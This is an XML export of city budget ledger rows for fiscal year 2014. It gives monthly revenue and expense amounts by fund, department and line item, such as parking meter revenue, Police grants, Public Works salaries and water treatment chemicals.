<row _id="12580"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579008.0</object><object_description>DISCRET-GRADES FOR GREEN</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>20000</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="12581"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>406799.0</object><object_description>13 UASI GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-47000.0</june><total>-47000.0</total></row>
<row _id="12582"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>576513.0</object><object_description>OTS STEP GRANT 2013</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>3000.0</june><total>3000.0</total></row>
<row _id="12583"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>278875.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>278875.0</total></row>
<row _id="12584"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1489.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1489.0</total></row>
<row _id="12585"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>509.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>509.0</total></row>
<row _id="12586"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1200.0</total></row>
<row _id="12587"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>405090.0</object><object_description>CITY YARDS LEASE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-1433025.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1433025.0</total></row>
<row _id="12588"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>405580.0</object><object_description>GILLETTE SETTLEMENT</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-2433175.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2433175.0</total></row>
<row _id="12589"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>408640.0</object><object_description>CO ESPLANADE - CMAQ</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-929830.0</july><august>0</august><september>0</september><october>0</october><november>-168170</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1098000.0</total></row>
<row _id="12590"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>400308.0</object><object_description>VALET PARKING METER RENTAL</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-530000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-530000.0</total></row>
<row _id="12591"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>401328.0</object><object_description>PERMITS -PARKING STRUCTURE 7&amp;8</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-187308.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-187308.0</total></row>
<row _id="12592"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>407260.0</object><object_description>STRUCTURE 9 PARKING</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-500000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-500000.0</total></row>
<row _id="12593"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1828.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1828.0</total></row>
<row _id="12594"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>54500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>54500.0</total></row>
<row _id="12595"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>211276.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>31057.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>242333.0</total></row>
<row _id="12596"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>13837.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13837.0</total></row>
<row _id="12597"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>417.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>53.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>470.0</total></row>
<row _id="12598"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>370.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>370.0</total></row>
<row _id="12599"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5698.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5698.0</total></row>
<row _id="12600"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>33024.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>1416.67</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>34440.67</total></row>
<row _id="12601"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-16025.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-16025.0</total></row>
<row _id="12602"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>210844.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>7331.81</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>218175.81</total></row>
<row _id="12603"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>498</division_id><division_name>PUBLIC LANDSCAPE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1984.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>83.33</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2067.33</total></row>
<row _id="12604"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400150.0</object><object_description>DOCUMENTARY TRANSFER TAX</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-5100000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-700000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5800000.0</total></row>
<row _id="12605"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400843.0</object><object_description>VLF SWAP</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-8756739.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-8756739.0</total></row>
<row _id="12606"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>406040.0</object><object_description>ABC GRANT 2013</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-3562.0</june><total>-3562.0</total></row>
<row _id="12607"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>53</fund_id><fund_name>Parks and Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1000.0</total></row>
<row _id="12608"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>578841.0</object><object_description>JUSTICE ASSIST GRANT 2013-OT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>29283.0</june><total>29283.0</total></row>
<row _id="12609"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>375.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>375.0</total></row>
<row _id="12610"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2101.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2101.0</total></row>
<row _id="12611"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>566020.0</object><object_description>HOUSEHOLD HAZARDOUS WASTE GRAN</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>27598</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>27598.0</total></row>
<row _id="12612"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>404650.0</object><object_description>INTEREST-CIVIC PKG STR BONDS</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-200.0</total></row>
<row _id="12613"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>REAL BEACH PKG FED STP-L</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>-440884</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-440884.0</total></row>
<row _id="12614"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>400774.0</object><object_description>1630 17TH ST SUBLEASE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-109487.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-109487.0</total></row>
<row _id="12615"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>400300.0</object><object_description>ON STREET METERS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-14680000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>750000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-13930000.0</total></row>
<row _id="12616"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>44252.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>375.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>44627.0</total></row>
<row _id="12617"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2806042.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2806042.0</total></row>
<row _id="12618"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400610.0</object><object_description>USE OF PUBLIC PROPERTY PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-488071.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-488071.0</total></row>
<row _id="12619"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>42912.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-42912.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="12620"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>401810.0</object><object_description>ENCROACHMENT REVENUE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-3888.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3888.0</total></row>
<row _id="12621"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4300.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4300.0</total></row>
<row _id="12622"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>440.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>440.0</total></row>
<row _id="12623"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="12624"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20910.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20910.0</total></row>
<row _id="12625"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>122400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>122400.0</total></row>
<row _id="12626"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544011.0</object><object_description>CHEMICALS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>924906.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>924906.0</total></row>
<row _id="12627"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>402830.0</object><object_description>CITY YARDS CONV FUEL STN REPL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>-75000.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-75000.0</total></row>
